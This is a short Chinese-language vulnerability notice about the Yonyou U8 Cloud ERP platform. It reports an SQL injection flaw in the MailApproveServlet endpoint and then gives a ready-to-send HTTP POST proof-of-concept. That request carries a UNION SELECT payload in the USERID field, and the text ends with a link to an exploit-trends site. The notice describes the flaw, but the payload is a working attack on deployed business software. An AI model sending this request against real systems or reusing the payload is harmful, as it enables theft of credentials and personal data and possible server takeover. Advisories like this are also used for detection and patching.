用友U8 Cloud是用友网络科技股份有限公司面向中型企业推出的企业级云端ERP管理平台，是基于云计算、大数据、移动互联网等新技术构建的新一代企业管理软件。该产品涵盖财务管理、供应链管理、人力资源管理、客户关系管理、资产管理等核心业务模块，支持多组织、多账簿、多币种的复杂业务场景，广泛应用于制造、流通、服务、建筑等行业。用友U8 Cloud的nc.bs.pf.pub.MailApproveServlet 接口存在SQL注入漏洞，攻击者可利用该漏洞获取数据库中的敏感信息（如管理员密码、用户个人信息），甚至在高权限的情况下可以向服务器中写入木马，进一步获取服务器系统权限，造成严重的数据泄露和系统控制风险。
POST /service/~uap/nc.bs.pf.pub.MailApproveServlet HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Content-Length: 291
Content-Type: application/x-www-form-urlencoded
NEEDDISPATCH=&BILLID=1&BILLTYPE=BJ&USERID=admin'%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2Csys.fn_sqlvarbasetostr(HashBytes('MD5'%2C'arqppmjl'))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL--%20dXRM&PASSWORD=admin&RESULT=APPROVED&DATASOURCE=U8cloud
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.